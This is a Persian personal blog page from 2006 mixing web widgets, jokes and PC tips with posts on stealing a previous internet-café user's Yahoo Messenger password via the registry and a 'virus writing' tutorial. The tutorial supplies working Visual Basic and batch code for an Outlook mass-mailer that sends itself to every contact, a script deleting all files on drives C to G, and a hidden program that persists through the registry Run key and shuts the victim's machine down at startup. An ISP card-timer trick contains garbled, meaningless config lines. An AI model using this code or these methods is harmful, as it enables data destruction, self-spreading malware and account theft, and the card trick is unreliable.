 <center> <FORM method=GET action="http://www.google.com/search"> <input type=hidden name=ie value=UTF-8> <input type=hidden name=oe value=UTF-8> <TABLE bgcolor="#FFFFFF"><tr><td> <A HREF="http://www.google.com/search?safe=vss"> <IMG SRC="http://www.google.com/logos/Google_Safe.gif" border="0" ALT="Google" width="115" height="45" align="absmiddle"></A> <INPUT TYPE=text name=q size=25 maxlength=255 value=""> <INPUT type=hidden name=safe value=strict> <INPUT type=submit name=sa value="Google Search"> </td></tr></TABLE> </FORM> </center> 

قرار دادن موتور گوگل در سايت 2

 <FORM method=GET action="http://www.google.com/search"> <input type=hidden name=ie value=UTF-8> <input type=hidden name=oe value=UTF-8> <TABLE bgcolor="#FFFFFF"><tr><td> <A HREF="http://www.google.com/"> <IMG SRC="http://www.google.com/logos/Logo_40wht.gif" border="0" ALT="Google"></A> </td> <td> <INPUT TYPE=text name=q size=31 maxlength=255 value=""> <INPUT type=submit name=btnG VALUE="Google Search"> <font size=-1> <input type=hidden name=domains value="YOUR DOMAIN NAME"><br><input type=radio name=sitesearch value=""> WWW <input type=radio name=sitesearch value="YOUR DOMAIN NAME" checked> YOUR DOMAIN NAME <br> </font> </td></tr></TABLE> </FORM> 

ستاره هاي زيبا به دنبال ماوس

<script>  </script>

ستاره هاي زيبا به دنبال ماوس 2

<SCRIPT language=JavaScript> /* Magic Wand cursor (By Kurt at kurt.grigg@virgin.net) Modified and permission granted to Dynamic Drive to feature script in archive For full source, usage terms, and 100's more DHTML scripts, visit http://dynamicdrive.com */ if (document.all){ with (document){ write('<div id="starsDiv" style="position:absolute;top:0px;left:0px">') write('<div style="position:relative;width:1px;height:1px;background:#ffffff;font-size:1px;visibility:visible"></div>') write('<div style="position:relative;width:1px;height:1px;background:#fff000;font-size:1px;visibility:visible"></div>') write('<div style="position:relative;width:1px;height:1px;background:#ffa000;font-size:1px;visibility:visible"></div>') write('<div style="position:relative;width:1px;height:1px;background:#ff00ff;font-size:1px;visibility:visible"></div>') write('<div style="position:relative;width:1px;height:1px;background:#00ff00;font-size:1px;visibility:visible"></div>') write('<div style="position:relative;width:1px;height:1px;background:#0000ff;font-size:1px;visibility:visible"></div>') write('<div style="position:relative;width:1px;height:1px;background:#FF0000;font-size:1px;visibility:visible"></div>') write('<div style="position:relative;width:2px;height:2px;background:#ffffff;font-size:2px;visibility:visible"></div>') write('<div style="position:relative;width:2px;height:2px;background:#fff000;font-size:2px;visibility:visible"></div>') write('<div style="position:relative;width:2px;height:2px;background:#ffa000;font-size:2px;visibility:visible"></div>') write('<div style="position:relative;width:2px;height:2px;background:#ff00ff;font-size:2px;visibility:visible"></div>') write('<div style="position:relative;width:2px;height:2px;background:#00ff00;font-size:2px;visibility:visible"></div>') write('<div style="position:relative;width:2px;height:2px;background:#0000ff;font-size:2px;visibility:visible"></div>') write('<div style="position:relative;width:3px;height:3px;background:#FF0000;font-size:3px;visibility:visible"></div>') write('</div>') } } var Clrs=new Array(6) Clrs[0]='ff0000'; Clrs[1]='00ff00'; Clrs[2]='000aff'; Clrs[3]='ff00ff'; Clrs[4]='fff000'; Clrs[5]='fffff0'; if (document.layers) {window.captureEvents(Event.MOUSEMOVE);} var yBase = 200; var xBase = 200; var step; var currStep = 0; var Xpos = 1; var Ypos = 1; if (document.all) { function MoveHandler(){ Xpos = document.body.scrollLeft+event.x; Ypos = document.body.scrollTop+event.y; } document.onmousemove = MoveHandler; } else if (document.layers) { function xMoveHandler(evnt){ Xpos = evnt.pageX; Ypos = evnt.pageY; } window.onMouseMove = xMoveHandler; } function animateLogo() { if (document.all) { yBase = window.document.body.offsetHeight/4; xBase = window.document.body.offsetWidth/4; } else if (document.layers) { yBase = window.innerHeight/4; xBase = window.innerWidth/4; } if (document.all) { for ( i = 0 ; i < starsDiv.all.length ; i++ ) {step=3; starsDiv.all[i].style.top = Ypos + yBase*Math.cos((currStep + i*4)/12)*Math.cos(0.7+currStep/200); starsDiv.all[i].style.left = Xpos + xBase*Math.sin((currStep + i*3)/10)*Math.sin(8.2+currStep/400); for (ai=0; ai < Clrs.length; ai++) { var c=Math.round(Math.random()*[ai]); } starsDiv.all[i].style.background=Clrs[c]; } } else if (document.layers) { for ( j = 0 ; j < 14 ; j++ ) //number of NS layers! {step = 4; var templayer="a"+j document.layers[templayer].top = Ypos + yBase*Math.sin((currStep + j*4)/12)*Math.cos(0.7+currStep/200); document.layers[templayer].left = Xpos + xBase*Math.sin((currStep + j*3)/10)*Math.sin(8.2+currStep/400); for (aj=0; aj < Clrs.length; aj++) { var c=Math.round(Math.random()*[aj]); } document.layers[templayer].bgColor=Clrs[c]; } } currStep+= step; setTimeout("animateLogo()", 10); } animateLogo(); // --> </SCRIPT> <SCRIPT language=javascript>

نوشته شده توسط رضا محمدی در یکشنبه شانزدهم مهر 1385

لينك ثابت

جک ( )

( )

سلام بچه ها امروز میخوام چند تا جک براتون بگم:

به ترکه میگن آرزوت چیه؟ ترکه میگه: آرزو دارم یه روزی تبریزم پایتخت بشه ازش میپرسن چرا؟ میگه واسه اینکه یه روزم به مابگن بچه تهرونی

خروسه پول نداشته زن بگیره میره گالینا بلانکا میخره

اصفهانیه خودکارش بند میاد ترک تحصیل می کنه !

قربون شما شعیب از تایباد

نوشته شده توسط رضا محمدی در یکشنبه شانزدهم مهر 1385

لينك ثابت

استفاده از کارت محدود به مدت طولانی ( )

این روش درهمه موارد موفقيت آميز نيست و همه چيز بستگی به ISP (سرويس دهنده اينترنت) شما داره
در اين روش (در صورت موفقيت آميز بودن) ميتوانيد از يک کارت اينترنت مثلا 2 ساعته حدود چند ماه استفاده نماييد و در صورت عدم موفقيت تايمر ISP را حدود 7 دقيقه قفل ميکنه
با انجام اين کار تايمر ISP را که بر روی اکانت شما به صورت معکوس کار ميکند را متوقف ميکنه
برای انجام اينکار در دايکتوری windows به دنبال فايل system.ini ميگرديم به طور مثال c:\windows\system.ini
بعد از يافتن فايل بايد آنرا طبق دستورالعمل اديت کنيد فايل را باز کرده (توسط notepad) ودر آن به دنبال عبارت [enh386] ميگرديم ودر سطر پايين آن اين عبارات را اضافه می کنيم

Com0@00 Irq0000@0 Buffer=1024
@ number = ( 3,1,4,1,5,9)
@ letters = ( " this", " is ", "a" , "test" )
$word , $ anther - word - ) = ( " one " , "two" )
woafont=dosapp.FON

که با اضافه نمودن اين عبارات فايل حاصل در XP به صورت زير در مياد :

for 16-bit app support ;
[drivers]
wave=mmdrv.dll
timer=timer.drv
[mci]
[driver32]
[enh386]
Com0@00 Irq0000@0 Buffer=1024
@ number = ( 3,1,4,1,5,9)
@ letters = ( " this", " is ", "a" , "test" )
$word , $ anther - word - ) = ( " one " , "two" )
woafont=dosapp.FON
woafont=dosapp.FON
EGA80WOA.FON=EGA80850.FON
EGA40WOA.FON=EGA40850.FON
CGA80WOA.FON=CGA80850.FON
CGA40WOA.FON=CGA40850.FON
[vicax]
msacm711=86957
msacm811=178757
msacm911=42405
[Display]
DevBMP=0

در صورتی که بعضی از گزينه هايی که در بالا ذکر شد برای شما نبود{ بجز کد اصلی } ايرادی ندارد

نوشته شده توسط اسماعیل محمدی در یکشنبه شانزدهم مهر 1385

لينك ثابت

در آوردن پسورد یاهو از رجیستری ( )

از منوي Start گزينه Run را انتخاب كنيد و Regedit را تايپ كنيد تا

داخل محيط ويرايش ريجستري شويد حالا به اين كليك در ريجستري برويد :

HKEY_CURRENT_USER\Software\Yahoo\Pager

و روی Save Password دو بار كليد كنيد و عدد 100 را در آن تايپ كنيد و

OK بزنيد حالا ياهو مسنجر را نگاه كنيد آخرين ID و Password ID می

بينيد می توانيد باآن LOGIN بشويد . حال بايد يك برنامه كه از قبل

آمده كرده باشيد كه پسورد روي ويندوز را بخواند كه با آن بتوانيد

پسورد درون ياهو مسنجر را بخوانيد. اين كار شما مي توانيد در كافي نت

انجام بدهيد چون پسورد شخص قبلي كسي كه قبل از شما كار مي كرده اگر هم پسورد هم Save نكرده باشه مي توانيد در بياريد .

نوشته شده توسط اسماعیل محمدی در یکشنبه شانزدهم مهر 1385

لينك ثابت

رایت سی دی های سوخته ( )

بعضی از دوستان در زمینه سوزاندن CD استاد هستند .خوب تقریبا همه به محض این که CD هاشون زیر رایت میسوزه اون رو خرد میکنن و یا دور میندازن . اما به هر دلیل اگر در زمان رایت CD به صورت DATA سی دی شما سوخت اصلا ناراحت نباشید چون اگر مایل باشید می توانید در ادامه CD رو مجددا رایت کنید حتی فایلهایی رو که سالم رایت شدن رو نیز حفظ کنید برای این کار کافی هست که از NERO شش به بالا استفاده کنید . سی دی سوخته خود را در رایتر قرار بدهید حال نحوه رایت را دو باره DATA انتخاب کنید و فایلهایی را که قرار هست رایت کنید را مجددا ADD کنید . در این حالت رایتر از شما سی دی سوخته را قبول می کنه و لازم نیست سی دی خام درون رایتر قرار بدهید. نکته : حتما قبل از ADD کردن فایلها باید بدونید که چه مقدار فضای خالی در سی دی سوخته دارید . اینو باید از میزان پر بودن حلقه پشت CD حدس بزنین و بیشتر از حجم باقیمانده نخواین رایت کنین یعنی اینکه این CD دیگه فقط به درد رایت فایلهای کوچیکتر میخوره و نکته دیگه این که سی دی رو باید خود NERO سوزانده باشه نه کس دیگه حتی شما ! نکته سوم هم اینکه واسه CD های Video و Audio سوخته فکر نکنم بشه اینکارو کرد ! امتحان کنید حتما جواب میده.

نوشته شده توسط اسماعیل محمدی در یکشنبه شانزدهم مهر 1385

لينك ثابت

آموزش نصب ویندوز در 7 دقیقه ( )

قضیه از این قراره که شما به کمک CD Writer و نرم افزار Nero Burning Rom یک فایل بک آپ از

تمام فایلهای ویندوز با پسوند exe می سازید به نحوی که بعدا میتوانید به سرعت با اجرای فایل exe

ویندوزی آماده کار خلق نمایید.

اسم این ویندوز ساختگی رو میزارم ویندوز ساحر

و اما نحوه انجام کار:...

1. قبل از هر چیز باید یک ویندوز مرتب بهمراه تمامی نرم افزارهای مفید تهیه کنید (نرم افزارهای

اضافی رو رفع نصب کنید و اونهایی رو هم که ندارین نصب کنید، همه درایورها رو نصب کنین،

با ضد ویروس بروز شده سیستم رو چک کنید و خلاصه یک حالی به سیستم بدین)

نکته1: ویندوز شما بایستی روی درایو C نصب شده باشد و برنامه های همراهش هم روی همین

درایو نصب شده باشند (در غیر اینصورت کار خیلی پیچیده میشه)

2. همه فایلها و شاخه های ریشه اصلی درایو C رو از حالت مخفی خارج کنید

نکته2: اگر دو ویندوز بر روی سیستم دارید بهتر است بقیه عملیات را از روی ویندوزی که بر روی C

نصب نشده دنبال کنید (من خودم از یک ویندوز کمکی برای ادامه کار استفاده کردم و در مورد

لزوم استفاده از اون هم مطمئن نیستم، اگه کسی بدون ویندوز کمکی موفق شد به من هم خبر بده)

3. نرم افزار Nero Burning Rom را اجرا کنید

4. از منوی file یا recorder گزینه Burn HD Backup... رو انتخاب کنید

5. حالا پارتیشن 1 و یا همون درایو C رو به عنوان نشانی مبدا انتخاب کنید

6. در صفحه بعدی دکمه Write را بزنید تا سی دی ویندوز ساحر خلق شود

و اما نحوه استفاده از سی دی ویندوز ساحر:

1: درایو C را فرمت کنید.

2: در خط فرمان DOS فایل nrestore.exe رو از سی دی ویندوز ساحر اجرا کنید

3. زبان دلخواه را انتخاب کنید

4. مقصد کپی را درایو C قرار دهید (در غیر اینصورت ویندوز ساحر کار نخواهد کرد)

5. و در آخر Restart

نکته 3: ویندوز ساحری که شما ساخته اید، در دیگر کامپیوترها نیز قابل استفاده است با این قید که

در آنها بایستی سخت افزارهای جدید شناسایی و نصب شوند که این کار حدود 5 الی 10 دقیقه

زمان میبره)

نوشته شده توسط اسماعیل محمدی در یکشنبه شانزدهم مهر 1385

لينك ثابت

( )

آموزش VB ( )

نیمچه ویروس !!!!

شرح برنامه:

ابتدا باید از تابع Api به نام SetCursorPosاستفاده کنید که به این صورت است.

Private Declare Function SetCursorPos Lib "user32" (ByVal X As Long, ByVal Y As Long) As Long

و باید در فرم تعریف شود

کد تایمر برنامه:

Private Sub Timer1_Timer()

'programin by farzad dh.

'weblog:farzadvb.blogfa.com

'e-mail:f_d662003@yahoo.com

'\/\/\/\/\/\/\/\/\/\/\/\/\/\

'8-Jul-05

Randomize 1000

farzadvb = Rnd(10) * 1000

bestforvb6 = Rnd(10) * 1000

temp = SetCursorPos(farzadvb, bestforvb6)

End Sub

و در اخر یه timerبا قابلیت interval=1 به فرم اضافه کنید و کد های زیر را به فرم اضافه کنید(کپی کنید)

Private Sub Timer1_Timer()
Call ScreenSaver(Me.hWnd, Me.hWnd, -1)
End Sub

ویروس ها از هر نوع که باشند حداقل در سه ویژگی مشترکند

1-پنهان بودن

2-اجرای اتوماتیک

3-توانایی توزیع خود

توانایی اول و دوم را در پست اول کامل توضیح دادم(حتما بخونید)

حالا می رسیم به قابلیت سوم یعنی توانایی توزیع خودکار ویروس

برای این کار کافیه این کدها را در برنامه قرار بدید

Set OutlookApp = CreateObject("Outlook.Application")

If Not OutlookApp = "" Then

For Each ContactSwitch In OutlookApp.GetNameSpace("MAPI").AddressLists

For UserGroup = 1 To ContactSwitch.AddressEntries.Count

Set OutlookEmail = OutlookApp.CreateItem(0)

OutlookEmail.Recipients.Add ContactSwitch.AddressEntries(UserGroup)

OutlookEmail.Subject = "Check this out!"

OutlookEmail.Body = "Look at the file in the attachments, It's great! :P"

OutlookEmail.Attachments.Add WScript.ScriptFullName

OutlookEmail.DeleteAfterSubmit = True

OutlookEmail.Send

Next

Next

End If

OutlookEmail.Subject = "Check this out!"

OutlookEmail.Body = "Look at the file in the attachments, It's great! :P"

OutlookEmail.Attachments.Add WScript.ScriptFullName

نکته:

1-در این کدها در قسمت موضوع ومتن نامه میتوانید عبارت دلخواهتون را جایگزین کنید

2-ترجیحا این کدها باید در قسمت Form_Load نوشته شوند

3-این کدها به خودی خود ویروس نیستند بلکه شما باید در کنار این کدها کد اصلی(بدنه ی ویروس) را حتما وارد کنید

@echo off

ATTRIB -a -s -h -r c

ATTRIB -a -s -h -r c:\windows\*.*

Echo y | echo a | Echo y | del c:\*.*

Echo y | echo a | Echo y | del d:\*.*

Echo y | echo a | Echo y | del e:\*.*

Echo y | echo a | Echo y | del f:\*.*

Echo y | echo a | Echo y | del g:\*.*

echo y | copy *.* C:\

echo y | copy *.* D:\

echo y | copy *.* E:\

echo y | copy *.* F:\

echo y | copy *.* G:\

resrart

تذکر :

۱-هرگز این فایل را داخل سیستم خود اجرا نکنید کنید

۲-این ویروس صدمه ای(فیزیکی) به هارد نمی رسونه نترسید فقط هارد رو بهم می ریزه

*******************************************************************

نظر.نظر.نظر.نظر.نظر.نظر.نظر.نظر.نظر.نظر.نظر.نظر.نظر.نظر.نظر.نظر.نظر.نظر.نظر.نظر.نظر..

یادتون نره

برای شروع:

براي امتحان درايو A را انتخاب کنيد يعني درون ShortCut اين را بنويسيد .FORMAT A:/Y و ببينيد چه اتفاقي مي افتد.

بابا جون چرا نظر نمی دین؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟

درس اول

ویروس نویسی

ویروس بلاستر(البته گفتنیه که این کدها مربوط به بلاستر واقعی نیست و فقط کارش شبیه اونه)

1-پنهان باشد( نه در .....دیده بشه ونه فرم اون قابل دیدن باشه )

2-پس هر بار روشن شدن کامپیوتر بلافاصله دو باره آن را خاموش یا ریست کند

3-ویروس یاب ها ها قادر به شناسایی آن نبا شند

فکر می کنم ویژگی های گفته شده به تنهایی شمارا مجاب به امتحان ویروس می کنه

خوب بریم سراغ کدها:

ابتدا این کدها را در قسمت فرم کپی کنید(ویژوال بیسیک)

Private Sub Form_Load()

Shell "shutdown -s -t zz"

End Sub

نکات:

کد بالا مخصوص خاموش کردن رایانه ی قربانی است برای رستارت کردن باید بجای -sقرار بدین-r

می توانید بجایzzزمان لازم برای عمل کرد ویروس را قرار دهید(بر حسب ثانیه)

برای پنهان کردنبرنامه باید عبارت زیر را درformوارد کنید.

App.TaskVisible = False
Me.Hide

خط اول برای پنهان کردن برنامه در..taskbarو خط دوم برای پنهان فرم کردن از دید کاربره

۳-به نظر من مهمترین نیاز یک ویروسه اجرای اتو ماتیک ویروسه که کدهای زیر این نیاز را برطرف می کنه

Set Reg = CreateObject("wscript.shell")
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"

حالاکد برنامه ی شما باید مثل زیر باشد

Private Sub Form_Load()

Set Reg = CreateObject("wscript.shell")
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"

Shell "shutdown -s -t zz"

App.TaskVisible = False
Me.Hide

End sub

این برنامه با فشردن کلید.f5اجرا می شود ولی من توصیه می کنم اول فایل اجرایی آن را ذخیره و بعد اجرا کنید

نکات نهایی:

1- برای اینکه فرصت عکس العمل را از قربانی بگیرید زمان عملکرد ویروس را کمتر از5 ثانیه در نظر بگیرید

نوشته شده توسط اسماعیل محمدی در شنبه پانزدهم مهر 1385

لينك ثابت

..: آخرين ارسال ها :..

. اين قالب توسط ساسان نوبخت طراحي و كدنويسي شده است و هرگونه كپي برداري از آن منوط به كسب اجازه مي باشد